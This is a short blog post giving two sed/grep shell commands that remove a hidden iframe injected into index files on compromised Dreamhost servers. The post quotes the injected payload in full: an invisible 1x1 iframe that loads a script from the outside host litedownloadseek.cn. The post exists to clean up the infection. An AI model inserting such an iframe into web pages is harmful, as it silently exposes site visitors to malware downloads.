Quick fix for code inject attack on Dreamhost Servers!
Today evening some of the Dreamhost servers (also one of our client’s) where attacked by some unknown hackers. One line of code where injected to index.php, index.html etc, which will takedown the site.
Here is a quick fix for it. Run these two commands in bash shell of your Dreamhost server. They will remove the injected code from the files.
sed -i 's/<html><body><iframe src=\"http:\/\/litedownloadseek.cn\/in.cgi?cocacola7\" width=1 height=1 style=\"visibility: hidden\"><\/iframe><\/body><\/html>//g' `grep "litedownloadseek" * -r -l` sed -i 's/<iframe src=\"http:\/\/litedownloadseek.cn\/in.cgi?cocacola7\" width=1 height=1 style=\"visibility: hidden\"><\/iframe>//g' `grep "litedownloadseek" * -r -l`
Disclaimer: Use at your own risk! But this worked for us!
